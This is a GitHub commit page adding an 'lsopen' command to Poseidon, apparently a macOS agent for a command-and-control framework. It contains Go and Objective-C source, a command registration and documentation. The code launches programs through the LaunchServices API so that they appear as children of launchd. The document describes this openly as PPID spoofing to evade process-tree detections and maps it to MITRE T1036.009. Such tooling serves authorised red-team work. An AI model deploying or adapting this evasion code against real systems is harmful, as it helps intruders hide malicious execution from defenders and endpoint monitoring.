-
Notifications
You must be signed in to change notification settings - Fork 33
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #56 from coolcoolnoworries/master
Adding lsopen command
- Loading branch information
Showing
8 changed files
with
338 additions
and
0 deletions.
There are no files selected for viewing
53 changes: 53 additions & 0 deletions
53
Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
package lsopen | ||
|
||
import ( | ||
// Standard | ||
"encoding/json" | ||
|
||
// Poseidon | ||
|
||
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" | ||
) | ||
|
||
type Arguments struct { | ||
Application string `json:"application"` | ||
HideApp bool `json:"hideApp"` | ||
AppArgs []string `json:"appArgs"` | ||
} | ||
|
||
func Run(task structs.Task) { | ||
msg := structs.Response{} | ||
msg.TaskID = task.TaskID | ||
|
||
args := Arguments{} | ||
err := json.Unmarshal([]byte(task.Params), &args) | ||
|
||
if err != nil { | ||
msg.UserOutput = err.Error() | ||
msg.Completed = true | ||
msg.Status = "error" | ||
task.Job.SendResponses <- msg | ||
return | ||
} | ||
|
||
r, err := runCommand(args.Application, args.HideApp, args.AppArgs) | ||
if err != nil { | ||
msg.UserOutput = err.Error() | ||
msg.Completed = true | ||
msg.Status = "error" | ||
task.Job.SendResponses <- msg | ||
return | ||
} | ||
|
||
if r.Successful { | ||
msg.UserOutput = "Successfully spawned application." | ||
msg.Completed = true | ||
task.Job.SendResponses <- msg | ||
} else { | ||
msg := task.NewResponse() | ||
msg.SetError("Failed to spawn application.") | ||
task.Job.SendResponses <- msg | ||
} | ||
|
||
return | ||
} |
69 changes: 69 additions & 0 deletions
69
Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
// +build darwin | ||
|
||
package lsopen | ||
|
||
/* | ||
#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new | ||
#cgo LDFLAGS: -framework Foundation -framework CoreServices | ||
#include "lsopen_darwin.h" | ||
#include <stdlib.h> | ||
*/ | ||
import "C" | ||
import "unsafe" | ||
import "os" | ||
|
||
type LSOpenDarwin struct { | ||
Successful bool | ||
} | ||
|
||
func (j *LSOpenDarwin) Success() bool { | ||
return j.Successful | ||
} | ||
|
||
func runCommand(app string, hide bool, args []string) (LSOpenDarwin, error) { | ||
|
||
capp := C.CString(app) | ||
|
||
var c_argc C.int = 0 | ||
var c_argv **C.char = nil | ||
var chide int | ||
|
||
if hide { | ||
chide = 1 | ||
} else { | ||
chide = 0 | ||
} | ||
|
||
ihide := C.int(chide) | ||
|
||
//prepping args to pass to function | ||
c_argc = C.int(len(args) + 1) | ||
cArgs := make([](*C.char), len(args)+2) | ||
for i := range cArgs { | ||
cArgs[i] = nil | ||
} | ||
cArgs[0] = C.CString(os.Args[0]) | ||
for i, arg := range args { | ||
cArgs[i+1] = C.CString(arg) | ||
} | ||
c_argv = (**C.char)(unsafe.Pointer(&cArgs[0])) | ||
|
||
|
||
res := C.lsopen_init(capp, ihide, c_argv, c_argc) | ||
|
||
//free | ||
for i := range cArgs { | ||
if cArgs[i] != nil { | ||
defer C.free(unsafe.Pointer(cArgs[i])) | ||
} | ||
} | ||
|
||
r := LSOpenDarwin{} | ||
if res == 0 { | ||
r.Successful = true | ||
} else { | ||
r.Successful = false | ||
} | ||
|
||
return r, nil | ||
} |
6 changes: 6 additions & 0 deletions
6
Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
#ifndef launchservices_open_h | ||
#define launchservices_open_h | ||
|
||
extern int lsopen_init(char* app, int hide, char * argv[], int c_argc); | ||
|
||
#endif /* launchservices_open_h */ |
70 changes: 70 additions & 0 deletions
70
Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
#import <Foundation/Foundation.h> | ||
#include "lsopen_darwin.h" | ||
|
||
#pragma clang diagnostic push | ||
#pragma clang diagnostic ignored "-Wdeprecated-declarations" | ||
|
||
//referenced for base code - https://wojciechregula.blog/post/how-to-rob-a-firefox | ||
//expanded with dynamic argument handling, "_" var stomping, and an unset to DYLD_INSERT_LIBRARIES to prevent inherited injections into new processes | ||
|
||
bool lsopen_call(NSString *path, bool hide, NSArray<NSString*> *arghhhs) { | ||
FSRef appFSURL; | ||
OSStatus stat = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL); | ||
|
||
NSDictionary *env = @{@"_":path}; | ||
|
||
unsetenv("DYLD_INSERT_LIBRARIES"); | ||
if (stat != errSecSuccess) { | ||
return false; | ||
} | ||
|
||
LSApplicationParameters appParam; | ||
appParam.version = 0; | ||
|
||
if (hide) { | ||
appParam.flags = kLSLaunchAndHide; | ||
} else { | ||
appParam.flags = kLSLaunchDefaults; | ||
} | ||
|
||
appParam.application = &appFSURL; | ||
appParam.argv = (__bridge CFArrayRef) arghhhs; | ||
appParam.environment = (__bridge CFDictionaryRef)env; | ||
appParam.asyncLaunchRefCon = NULL; | ||
appParam.initialEvent = NULL; | ||
CFArrayRef array = (__bridge CFArrayRef)@[]; | ||
|
||
stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0); | ||
if (stat != errSecSuccess) { | ||
return false; | ||
} | ||
return true; | ||
} | ||
|
||
int lsopen_init(char *app, int hide, char * argv[], int argc) { | ||
@try { | ||
NSString *appPath = [NSString stringWithCString:app encoding:NSUTF8StringEncoding]; | ||
|
||
bool shouldHide = false; | ||
if (hide == 1) { | ||
shouldHide = true; | ||
} | ||
|
||
NSMutableArray *argarray = [NSMutableArray array]; | ||
for (int i = 0; i < argc; i++) { | ||
NSString *str = [[NSString alloc] initWithCString:argv[i] encoding:NSUTF8StringEncoding]; | ||
[argarray addObject:str]; | ||
} | ||
|
||
NSRange rng = NSMakeRange(1, argc -1); | ||
NSArray* applicationargs = [argarray subarrayWithRange:rng]; | ||
|
||
bool success = lsopen_call(appPath, shouldHide, applicationargs); | ||
if (success != true) { | ||
return -1; | ||
} | ||
return 0; | ||
} @catch (NSException *exception) { | ||
return -1; | ||
} | ||
} |
21 changes: 21 additions & 0 deletions
21
Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
// +build linux | ||
|
||
package lsopen | ||
|
||
import ( | ||
"errors" | ||
) | ||
|
||
type LSOpenLinux struct { | ||
Successful bool | ||
} | ||
|
||
func (j *LSOpenLinux) Success() bool { | ||
return j.Successful | ||
} | ||
|
||
func runCommand(app string, hide bool, args []string) (LSOpenLinux, error) { | ||
n := LSOpenLinux{} | ||
n.Successful = false | ||
return n, errors.New("Not implemented") | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
package agentfunctions | ||
|
||
import ( | ||
agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" | ||
) | ||
|
||
func init() { | ||
agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ | ||
Name: "lsopen", | ||
HelpString: "lsopen -application \"/sbin/ping\" -hideApp false -appArgs 8.8.8.8 -t 47", | ||
Description: "Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a ppid spoof to evade process tree detections.", | ||
Version: 1, | ||
MitreAttackMappings: []string{"T1036.009"}, | ||
Author: "coolcoolnoworries", | ||
CommandParameters: []agentstructs.CommandParameter{ | ||
{ | ||
Name: "application", | ||
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, | ||
Description: "Path to the target application/binary", | ||
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ | ||
{ | ||
ParameterIsRequired: true, | ||
UIModalPosition: 1, | ||
}, | ||
}, | ||
}, | ||
{ | ||
Name: "hideApp", | ||
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN, | ||
DefaultValue: false, | ||
Description: "If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag", | ||
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ | ||
{ | ||
ParameterIsRequired: false, | ||
UIModalPosition: 2, | ||
}, | ||
}, | ||
}, | ||
{ | ||
Name: "appArgs", | ||
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_ARRAY, | ||
Description: "Arguments to pass to application/binary", | ||
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ | ||
{ | ||
ParameterIsRequired: true, | ||
UIModalPosition: 3, | ||
}, | ||
}, | ||
}, | ||
}, | ||
CommandAttributes: agentstructs.CommandAttribute{ | ||
SupportedOS: []string{agentstructs.SUPPORTED_OS_MACOS}, | ||
}, | ||
TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { | ||
return args.LoadArgsFromJSONString(input) | ||
}, | ||
TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { | ||
return args.LoadArgsFromDictionary(input) | ||
}, | ||
TaskFunctionCreateTasking: func(task *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { | ||
response := agentstructs.PTTaskCreateTaskingMessageResponse{ | ||
Success: true, | ||
TaskID: task.Task.ID, | ||
} | ||
return response | ||
}, | ||
}) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
+++ | ||
title = "lsopen" | ||
chapter = false | ||
weight = 116 | ||
hidden = false | ||
+++ | ||
|
||
## Summary | ||
Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a PPID spoof to evade process tree detections. | ||
|
||
- Needs Admin: False | ||
- Version: 1 | ||
- Author: @coolcoolnoworries | ||
|
||
### Arguments | ||
|
||
#### application | ||
|
||
- Description: Path to the target application/binary | ||
- Required Value: True | ||
- Default Value: None | ||
|
||
#### hideApp | ||
|
||
- Description: If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag | ||
- Required Value: False | ||
- Default Value: None | ||
|
||
#### appArgs | ||
|
||
- Description: Arguments to pass to application/binary | ||
- Required Value: True | ||
- Default Value: None | ||
|
||
## Usage | ||
|
||
``` | ||
lsopen -application "/sbin/ping" -hideApp false -appArgs 8.8.8.8 -t 47 | ||
``` | ||
|
||
## MITRE ATT&CK Mapping | ||
|
||
- T1036.009 | ||
## Detailed Summary | ||
|
||
The lsopen command uses the LaunchServices API to run applications and binaries directly out of PID 1 (launchd), the macOS equivalent of explorer.exe on Windows. Where "shell" and "run" commands directly spawn processes as children, lsopen can be used as a form of PPID spoofing. This is especially helpful to evade detections built around strange process trees. | ||
|
||
Note that application/binary output is not accessible when run through lsopen, since the parent process is no longer the poseidon payload. If the application/binary has an output argument (like nmap -o), that can be used as a workaround to this limitation. |